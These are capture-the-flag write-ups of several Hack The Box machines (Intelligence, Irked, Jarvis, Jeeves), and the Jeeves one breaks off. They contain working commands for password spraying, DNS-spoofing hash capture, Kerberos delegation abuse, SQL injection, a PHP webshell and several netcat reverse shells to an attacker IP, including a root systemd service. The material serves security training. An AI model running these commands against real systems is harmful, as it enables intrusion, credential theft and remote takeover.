| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD8GA1Ud
| EQQ4MDagHwYJKwYBBAGCNxkBoBIEEIHijfJ5/cVAp3sSUrgFUO2CE2RjLmludGVs
| bGlnZW5jZS5odGIwDQYJKoZIhvcNAQELBQADggEBAAe43GWMvptRljuuQyFyo+AG
| c/CL8gNCVGvmkRfXyqK+vb2DBWTQ6uUjl+8hA3WuROBFUkwea5gOByKZdTPQrdou
| mVEeAf96bVQ+7/03O3Sz+0jCVTUbAJGnXNnMLStfx6TiMBqfDqsCcWRf2yScX9J4
| 1ilJEh2sEXnps/RYH+N/j7QojPZDvUeM7ZMefR5IFAcnYNZb6TfAPnnpNgdhgsYN
| 2urpaMc2At5qjf6pwyKYLxjBit1jcX6TmEgB/uaE/L9Py2mqyC7p1r40V1FxSGbE
| z4fcj1sme6//eFq7SKNiYe5dEh4SZPB/5wkztD1yt5A6AWaM+naj/0d8K0tcxSY=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-07T23:23:43+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-07T23:23:42+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA/domainComponent=intelligence
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after:  2022-04-19T00:43:16
| MD5:   7767:9533:67fb:d65d:6065:dff7:7ad8:3e88
| SHA-1: 1555:29d9:fef8:1aec:41b7:dab2:84d7:0f9d:30c7:bde7
| -----BEGIN CERTIFICATE-----
| MIIF+zCCBOOgAwIBAgITcQAAAALMnIRQzlB+HAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBQMRMwEQYKCZImiZPyLGQBGRYDaHRiMRwwGgYKCZImiZPyLGQBGRYMaW50ZWxs
| aWdlbmNlMRswGQYDVQQDExJpbnRlbGxpZ2VuY2UtREMtQ0EwHhcNMjEwNDE5MDA0
| MzE2WhcNMjIwNDE5MDA0MzE2WjAeMRwwGgYDVQQDExNkYy5pbnRlbGxpZ2VuY2Uu
| aHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwCX8Wz5Z7/hs1L9f
| F3QgoOIpTaMp7gi+vxcj8ICORH+ujWj+tNbuU0JZNsviRPyB9bRxkx7dIT8kF8+8
| u+ED4K38l8ucL9cv14jh1xrf9cfPd/CQAd6+AO6qX9olVNnLwExSdkz/ysJ0F5FU
| xk+l60z1ncIfkGVxRsXSqaPyimMaq1E8GvHT70hNc6RwhyDUIYXS6TgKEJ5wwyPs
| s0VFlsvZ19fOUyKyq9XdyziyKB4wYIiVyptRDvst1rJS6mt6LaANomy5x3ZXxTf7
| RQOJaiUA9fjiV4TTVauiAf9Vt0DSgCPFoRL2oPbvrN4WUluv/PrVpNBeuN3Akks6
| cmxzKQIDAQABo4IC/jCCAvowLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBD
| AG8AbgB0AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcD
| ATAOBgNVHQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgIC
| AIAwDgYIKoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJ
| YIZIAWUDBAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzAdBgNV
| HQ4EFgQUCA00YNMscsMLHdNQNIASzc940RUwHwYDVR0jBBgwFoAUo2aX3GwKIqdG
| sKQv+8oXL8nKl8swgdAGA1UdHwSByDCBxTCBwqCBv6CBvIaBuWxkYXA6Ly8vQ049
| aW50ZWxsaWdlbmNlLURDLUNBLENOPWRjLENOPUNEUCxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWludGVs
| bGlnZW5jZSxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29i
| amVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHJBggrBgEFBQcBAQSBvDCB
| uTCBtgYIKwYBBQUHMAKGgalsZGFwOi8vL0NOPWludGVsbGlnZW5jZS1EQy1DQSxD
| Tj1BSUEsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049
| Q29uZmlndXJhdGlvbixEQz1pbnRlbGxpZ2VuY2UsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD8GA1Ud
| EQQ4MDagHwYJKwYBBAGCNxkBoBIEEIHijfJ5/cVAp3sSUrgFUO2CE2RjLmludGVs
| bGlnZW5jZS5odGIwDQYJKoZIhvcNAQELBQADggEBAAe43GWMvptRljuuQyFyo+AG
| c/CL8gNCVGvmkRfXyqK+vb2DBWTQ6uUjl+8hA3WuROBFUkwea5gOByKZdTPQrdou
| mVEeAf96bVQ+7/03O3Sz+0jCVTUbAJGnXNnMLStfx6TiMBqfDqsCcWRf2yScX9J4
| 1ilJEh2sEXnps/RYH+N/j7QojPZDvUeM7ZMefR5IFAcnYNZb6TfAPnnpNgdhgsYN
| 2urpaMc2At5qjf6pwyKYLxjBit1jcX6TmEgB/uaE/L9Py2mqyC7p1r40V1FxSGbE
| z4fcj1sme6//eFq7SKNiYe5dEh4SZPB/5wkztD1yt5A6AWaM+naj/0d8K0tcxSY=
|_-----END CERTIFICATE-----
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49725/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49744/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-07T23:23:05
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 4953/tcp): CLEAN (Timeout)
|   Check 2 (port 42864/tcp): CLEAN (Timeout)
|   Check 3 (port 21343/udp): CLEAN (Timeout)
|   Check 4 (port 58885/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  8 04:53:45 2025 -- 1 IP address (1 host up) scanned in 676.48 seconds

Enumeration

Port 80/HTTP

we found HTTP port is open let’s open URL in browser

i found 2 PDFs

while accessing the document i didn’t found anything useful

i noticed that first PDF file name is - 2020-01-01-upload.pdf and the name of 2nd PDF file is 2020-12-15-upload.pdf, this might be useful but for now let’s enumerate other services

let’s run the gobuster to find hidden files and directories

gobuster dir -u http://10.10.10.248/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

let’s try to access /documents directory

No Luck 403 - Forbidden

Port 139,445/SMB

let’s check the SMB for Null-session and anonymous login to check if we have any share access

smbclient -L //10.10.10.248 -N

so here we can see that SMB allows null session/anonymous login but no share was listed, then i ran enum4linux to check if anything interesting we can find, no luck here as well.

Port 135/MSRPC

let’s check if we have MSRPC access

rpcclient -U "" -N 10.10.10.248

sadly no luck here as well, moving to another service, let’s check LDAP if it allows anonymous binding

Port 389,3268/LDAP

let’s check if LDAP allows anonymous binding, first we need DN (Distinguished Name) for the domain

ldapsearch -H ldap://10.10.10.248 -x -s base namingcontexts

now use this as the base to perform search

ldapsearch -H ldap://10.10.10.248 -x -b "DC=intelligence,DC=htb"

No luck here as well 😟

let’s back to our HTTP, server and start deep enumeration on it, this time we try to find documents inside /documents folder

i first download pdf files and use exiftool on both and here’s what i found

we found 2 user’s so it’s confirmed that the Creator names is the name of users, but now we need to guess the PDF file names i used python script for it and there were many pdf files so i added one more thing into my pdf file to search for username and password in the PDF files

import requests
from datetime import datetime, timedelta
import io
from PyPDF2 import PdfReader

# Settings
base_url = "http://10.10.10.248/documents/"  # Replace with actual base URL
start_date = datetime(2020, 1, 1)
end_date = datetime(2020, 12, 31)

keywords_to_search = ["username", "password"]  # Add more if needed

# Check each date-based PDF
current_date = start_date
while current_date <= end_date:
    filename = current_date.strftime("%Y-%m-%d-upload.pdf")
    full_url = f"{base_url}{filename}"

    try:
        response = requests.get(full_url)
        if response.status_code == 200:
            print(f"✅ Downloaded: {filename}")

            # Load PDF from memory
            pdf_file = io.BytesIO(response.content)
            reader = PdfReader(pdf_file)
            text = ""
            for page in reader.pages:
                text += page.extract_text() or ""

            # Search for keywords
            found = False
            for keyword in keywords_to_search:
                if keyword.lower() in text.lower():
                    print(f"🔍 Keyword '{keyword}' found in {filename}")
                    found = True
            if not found:
                pass
        else:
            pass
    except Exception as e:
        print(f"⚠️ Error with {filename}: {e}")

    current_date += timedelta(days=1)

and while running the script we found the PDF with username and password keyword

let’s read the PDF 2020-06-04-upload.pdf, as our script saving pdf file in memory so it will not download in memory so we need to download that file using wget

wget http://10.10.10.248/documents/2020-06-04-upload.pdf

but we don’t have the username, as we know that the exifdata of PDF file contains the usernames

i created another script to extract creator name from PDF’s exif data

import requests
import io
from PyPDF2 import PdfReader
from datetime import datetime, timedelta

# Settings
base_url = "http://10.10.10.248/documents/"  # ← Replace with your actual base URL
start_date = datetime(2020, 1, 1)
end_date = datetime(2020, 12, 31)

output_file = "users.txt"

with open(output_file, "w", encoding="utf-8") as file_out:
    current_date = start_date
    while current_date <= end_date:
        filename = current_date.strftime("%Y-%m-%d-upload.pdf")
        full_url = f"{base_url}{filename}"

        try:
            response = requests.get(full_url)
            if response.status_code == 200:
                pdf_data = io.BytesIO(response.content)
                reader = PdfReader(pdf_data)

                metadata = reader.metadata
                creator = metadata.get("/Creator", "❓ Not specified")

                file_out.write(f"{creator}\n")
                print(f"[+] {filename} -> Creator: {creator}")
            else:
                pass
        except Exception as e:
            print(f"[!] Error with {filename}: {e}")

        current_date += timedelta(days=1)

print(f"\n[+] Done! Saved results to {output_file}")

and then run the python script

first we’ll remove any duplicates from the list

cat users.txt|sort -u |wc -l

we can sse that there’s 30 unique users

i verified all users names using kerbrute

kerbrute userenum --dc 10.10.10.248 -d intelligence.htb users.txt

and found all are the valid users

we’ll perform passwordspray attack on these usernames with password we’ve got earlier

kerbrute passwordspray  --dc dc.intelligence.htb -d intelligence.htb users.txt NewIntelligenceCorpUser9876

great we got valid credentials in our hands, let’s check if we can access any shares using with it using netexec

sudo nxc smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --shares

we can see that we have READ access to IT and Users share, let’s first connect to IT share

smbclient //10.10.10.248/IT -U Tiffany.Molina%NewIntelligenceCorpUser9876

after logining-in i found powershell script, i downloaded using get command

let’s read downdetector.ps1

nothing interesting here, let’s connect to users share, and we can download user.txt from

get Tiffany.Molina\Desktop\user.txt

Release The Hounds : Bloodhound

let’s run bloodhound with valid credentials to get full picture of Domain

bloodhound-python -c all -u Tiffany.Molina -p NewIntelligenceCorpUser9876 -d intelligence.htb -dc dc.intelligence.htb -ns 10.10.10.248

after loading the gathered data to bloodhound i found the Shortest path to Domain Admins

But here if we see we need access to Ted.Graves user, so what we’ve so far is the script from IT Share, let’s examine that script

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

so this script is running every 5 minutes, it takes all records from Domain and check for only starting with web, then it makes request to record name with their credentials, if status not equal to 200 (OK) then it sends email to them selves with subject Host is down

so now possibly we need to enter our malicious record to the Domain and point it to our responder server

https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/adidns-spoofing

python ~/offsec/tools/krbrelayx/dnstool.py -u 'intelligence\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a add -r "web-0xh3x" -t A -d "10.10.14.15" 10.10.10.248

we’ve added record to DNS server now we start our responder and wait for script to execute

sudo responder -I tun0

after 5 minutes we got the NTLM hash of the user

let’s crack it using hashcat

hashcat -m 5600 ted_graves.ntmlv2 /usr/share/wordlists/rockyou.txt

and we got the password Mr.Teddy

now let’s begin our journey to Domain Admin

first we can see that Ted.Graves is member of IT support group

and the IT Support group has ReadGMSA permission over svc_int$ user

let’s use the netexec to read GMSA (Group Managed Service Account password)

sudo nxc ldap 10.10.10.248 -u ted.graves -p Mr.Teddy --gmsa

now we have the NTLM hash of the svc_int$, next step is svc_int$ has AllowedToDelegate Permission on DC machine

we can obtain Service ticket as Administrator

getST.py -spn 'www/dc.intelligence.htb' -impersonate 'administrator' -hashes :9db7142ffb1a5550533f64941ac4a37b 'intelligence.htb/svc_int$' -dc-ip 10.10.10.248

let’s export KRB5CCNAME

export KRB5CCNAME=administrator@www_dc.intelligence.htb@INTELLIGENCE.HTB.ccache

let’s login using wmiexec

wmiexec.py -k -no-pass administrator@dc.intelligence.htb

Irked

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Irked
OS Type: Linux
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Fri May  2 23:42:42 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-05-02 23:42:43 EDT for 154s
Not shown: 65335 closed tcp ports (reset), 193 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI+wKAAyWgx/P7Pe78y6/80XVTd6QEv6t5ZIpdzKvS8qbkChLB7LC+/HVuxLshOUtac4oHr/IF9YBytBoaAte87fxF45o3HS9MflMA4511KTeNwc5QuhdHzqXX9ne0ypBAgFKECBUJqJ23Lp2S9KuYEYLzUhSdUEYqiZlcc65NspAAAAFQDwgf5Wh8QRu3zSvOIXTk+5g0eTKQAAAIBQuTzKnX3nNfflt++gnjAJ/dIRXW/KMPTNOSo730gLxMWVeId3geXDkiNCD/zo5XgMIQAWDXS+0t0hlsH1BfrDzeEbGSgYNpXoz42RSHKtx7pYLG/hbUr4836olHrxLkjXCFuYFo9fCDs2/QsAeuhCPgEDjLXItW9ibfFqLxyP2QAAAIAE5MCdrGmT8huPIxPI+bQWeQyKQI/lH32FDZb4xJBPrrqlk9wKWOa1fU2JZM0nrOkdnCPIjLeq9+Db5WyZU2u3rdU8aWLZy8zF9mXZxuW/T3yXAV5whYa4QwqaVaiEzjcgRouex0ev/u+y5vlIf4/SfAsiFQPzYKomDiBtByS9XA==
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGASnp9kH4PwWZHx/V3aJjxLzjpiqc2FOyppTFp7/JFKcB9otDhh5kWgSrVDVijdsK95KcsEKC/R+HJ9/P0KPdf4hDvjJXB1H3Th5/83gy/TEJTDJG16zXtyR9lPdBYg4n5hhfFWO1PxM9m41XlEuNgiSYOr+uuEeLxzJb6ccq0VMnSvBd88FGnwpEoH1JYZyyTnnbwtBrXSz1tR5ZocJXU4DmI9pzTNkGFT+Q/K6V/sdF73KmMecatgcprIENgmVSaiKh9mb+4vEfWLIe0yZ97c2EdzF5255BalP3xHFAY0jROiBnUDSDlxyWMIcSymZPuE1N6Tu8nQ/pXxKvUar
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFeZigS1PimiXXJSqDy2KTT4UEEphoLAk8/ftEXUq0ihDOFDrpgT0Y4vYgYPXboLlPBKBc0nVBmKD+6pvSwIEy8=
|   256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC6m+0iYo68rwVQDYDejkVvsvg22D8MN+bNWMUEOWrhj
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100024  1          43587/tcp6  status
|_  100024  1          56405/udp6  status
6697/tcp  open  irc     syn-ack ttl 63 UnrealIRCd
8067/tcp  open  irc     syn-ack ttl 63 UnrealIRCd
38591/tcp open  status  syn-ack ttl 63 1 (RPC #100024)
65534/tcp open  irc     syn-ack ttl 63 UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May  2 23:45:17 2025 -- 1 IP address (1 host up) scanned in 155.32 seconds

Enumeration

Port 80/HTTP

i’ll start enumeration from port 80 http website

let’s check web technologies used in website using whatweb

let’s check if any directory and files found using gobuster

oh we found interesting folder /manual/

looks like default apache server page let’s deep dive into this

gobuster dir -u http://10.10.10.117/manual/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

nothing interesting found here, let’s move to another port and service

Port 6697,8067,65534/IRC (UnrealIRCd)

i found some IRC ports are open and running service called UnrealIRCd, i searched on google for known exploit and i found https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor

let’s check if the running service is vulnerable to this exploit or not, download the exploit.py and add the LHOST and LPORT of your machine and start netcat listener rlwrap -r nc -nvlp 443

run the exploit

python3 exploit.py -payload bash 10.10.10.117 8067

i first tried port 6697 but was not working, then i tried another port 8067 and i got the shell.

let’s start our enumeration on the system i found the interesting .backup file inside the Documents inside the Documents folder of djmardov user’s home directory

let’s read the file

i tried this password djmardov user but it was not working, i dind;t get what it is meant for so i took small hint, and i found that it is password for stegnography image, we found the image in webpage let’s download it to kali machine

i used steghide command to extract data from the image

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

let’s read the contents of pass.txt

looks like the password of the djmardov user

i found weird viewuser binary let’s try to execute it

looks like it is trying to execute /tmp/listusers but it is showing the file is not found

what if we just create a listusers file that contains reverse shell code in /tmp folder and then simply run the binary

create a /tmp/listusers file with following code

#!/bin/bash
busybox nc 10.10.14.17 445 -e /bin/bash

make it executable

chmod +x /tmp/listusers

start the listener on port 445

run the binary viewuser

Jarvis

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Jarvis
OS Type: Linux
Difficulty: Medium

QUERY THAT WORKED - http://10.129.229.137/room.php?cod=200 UNION SELECT 1,GROUP_CONCAT(0x7c,user,0x7c,password,0x7c),3,4,5,6,7 FROM mysql.user;-- -

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Mon Apr 21 17:32:07 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-04-21 17:32:08 IST for 227s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPuKufVSUgOG304mZjkK8IrZcAGMm76Rfmq2by7C0Nmo
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
64999/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 21 17:35:56 2025 -- 1 IP address (1 host up) scanned in 228.07 seconds

Enumeration

Port 80/HTTP

i’ll starting my enumeration from port 80 it’s running supersecurehotel.htb

let’s add this to /etc/hosts file

let’s try gobuster to find any hidden files or directories, first let’s fuzz for directories

gobuster dir -u http://10.10.10.143/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

we found phpmyadmin directory, let’s try if we can login via default and common creds, No Luck

let’s check website manually for any interesting finding we found the room booking page, go to rooms > click on book now

the url is seems interesting as it uses the GET parameter cod to display room, what if we check for any common issue, possibly the application get’s room from database using cod parameter

let’s try to insert ' and see how web app react

changed the parameter and website’s behavior changed unexpectedly, so we can now assume that if any error occurs the website’s UI will change, so let’s try to use UNION Based SQLi to get the number of columns from the database, we use 1 UNION SELECT 1,2,.... and increase the column name until we get normal response

now this shows that there are total 7 columns in the database, now we need to check which column number contains what data, so i’ve first used the id to 200, that shows the blank page and run query again to see the number of columns and its data

great we now know that we need to use columns - 5,2,3,4 for display any data, let’s try to print the database version using @@version on column 2

let’s start enumerating the database name using

200 UNION SELECT 1,GROUP_CONCAT(0x7c,schema_name,0x7c),3,4,5,6,7 from information_schema.schemata

this will show the database name

let’s enumerate tables from the database

200 UNION SELECT 1,GROUP_CONCAT(0x7c,table_name,0x7c),3,4,5,6,7 from information_schema.tables where table_schema='hotel'

we found the room table name let’s get the column names from the table

let’s enumerate column names from the database

	200 UNION SELECT 1,GROUP_CONCAT(0x7c,column_name,0x7c),3,4,5,6,7 from information_schema.columns WHERE table_name='room'

nothing interesting found here, let’s check in mysql table use below query to display tables in the mysql database with pipe separator and \n new line to get proper output

the user table looks interesting let’s enumerate tables from it

200 UNION SELECT 1,GROUP_CONCAT(0x7c,column_name,0x7c,'\n'),3,4,5,6,7 from information_schema.columns where table_name='user'

above query will return the columns from the user table

so the user and password column looks interesting let’s select value from it

200 UNION SELECT 1,GROUP_CONCAT(0x7c,User,0x7c,Password),3,4,5,6,7 from mysql.user

let’s crack the hash using crackstation.net

nice we got the credentials let’s login to phpmyadmin using DBadmin:imissyou

let’s try to get RCE using phpmyadmin, now mysql provides functionality to write into files using sql query

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/test.php"

query ran successfully means the file has been created successfully, let’s try to access it over http://10.10.10.143/test.php (here we just guessed that the website is located at /var/ww/html, it can be any sub directory inside the /var/www/html)

accessing the webshell we got RCE on the system

we’ll use pretty simple nc command to get reverse shell busybox nc 10.10.14.17 443 -e /bin/bash

and we got the reverse shell on kali port 443

use below python oneliner to get proper tty shell

python3 -c 'import pty;pty.spawn("/bin/bash");'

to check other user’s who has valid shell on the machine we can use cat /etc/paswd | grep sh

ok so the pepper and root only two users with valid shell

checking if user has permissions to run any command using sudo sudo -l

Oh nice! we can execute /var/www/Admin-Utilities/simpler.py as pepper without password using sudo

checking the permissions we found we don’t have write permissions to file, let’s check the content of the file

this part looks interesting as it checks if the user has supplied any characters from the forbidden list if it match the character it says got you and exit the script if no character match from the list it pass the argument to os.system command, this part of code is looks vulnerable, now let’s execute the script to see what it returns

so the -p argument will execute the exec_ping function directly, so the forbidden list contains some basic special characters to prevent users to input, but it doesn’t include the $or () as we know in bash we can execute command wth $(command) let’s try to execute id command

we can see that id command get executed let’s try to execute reverse shell, as the - is included in forbidden list we can not directly run the nc command instead we can write the shell to file and then execute the shell how’s it!

echo -e "busybox nc 10.10.14.17 443 -e /bin/bash" > /tmp/shell.sh

execute the shell

$(bash /tmp/shell.sh)

we got reverse shell connection on our kali machine

enumerating system we found the interesting SUID binary file

find / -type f -perm -4000 2>/dev/null

let’s get the root then

first we’ll create a our own service file i.e test.service

[Unit]
Description=root

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c '/bin/busybox /bin/nc 10.10.14.17 443 -e /bin/bash'

[Install]
WantedBy=user-multi.target

then enable the service by giving full path of the service file, start the netcat listener on port 443

systemctl enable /home/pepper/test.service

start the service

systemctl start test.service

and you’ll get reverse shell as root

Jeeves

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Jeeves
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Thu Apr 17 23:05:35 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.63
Increasing send delay for 10.10.10.63 from 0 to 5 due to 51 out of 168 dropped probes since last increase.
Increasing send delay for 10.10.10.63 from 5 to 10 due to 11 out of 11 dropped probes since last increase.
Nmap scan report for 10.10.10.63
Host is up, received echo-reply ttl 127 (0.31s latency).
Scanned at 2025-04-17 23:05:36 EDT for 2079s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 55172/tcp): CLEAN (Timeout)
|   Check 2 (port 17552/tcp): CLEAN (Timeout)
|   Check 3 (port 48293/udp): CLEAN (Timeout)
|   Check 4 (port 23744/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
| smb2-time: 
|   date: 2025-04-18T08:39:36
|_  start_date: 2025-04-18T08:03:34

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 17 23:40:15 2025 -- 1 IP address (1 host up) scanned in 2080.56 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80, let’s check what’s running on it (Obiviously HTTP server) but what kind, to find out let’s visit the website in web browser

Ohh, it’s a searching site let’s check it’s source by CTRL + U

It’s just simple site, means if we click on search button it will redirect us to error.html, let’s check that

it’s not real error it’s just png file

let’s try dir/file fuzzing using gobuster

gobuster dir -u http://10.10.10.63/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt

i tried raft-medium-directories.txt,raft-medium-files.txt but didn’t find anything useful

Port 445/SMB

SMB is open on the target machine let’s try Null session

smbclient -L //10.10.10.63 -N

Port 135/MSRPC

let’s check the MSRPC using rpcclient

rpcclient -U "" -N 10.10.10.63

No Access as well

Port 50000/HTTP (Jetty 9.4.z-SNAPSHOT)

port 50000 is running jetty server let’s open it in web browser

Let’s try directory bruteforce using gobuster this time i didn’t get any hit from raft-medium-directories.txt so i used directory-list-2.3-medium.txt from seclists

let’s visit the /askjeeves

to get Command execution let’s create a new job by clicking on create new jobs

give the project name whatever you want, select Freestyle project and click on OK

then you’ll be redirected to project configuration page, scroll down and find build section click on add build step > Execute Windows Batch Command

to confirm command execution we’ll simply run the ping -n 1 10.10.14.17 command and start tcpdump on kali to capture ICMP traffic using sudo tcpdump -i tun0 icmp -v

then click on save save

after that click on build now to run the build and it will execute our command

we got the ICMP echo request to our kali means the command successfully executed.

It’s Shell Time!!

let’s transfer the nc.exe via curl and python http server and get that shell

start python http server where your nc.exe is located python3 -m http.server

to edit the same build, go to configuration add 2 commands

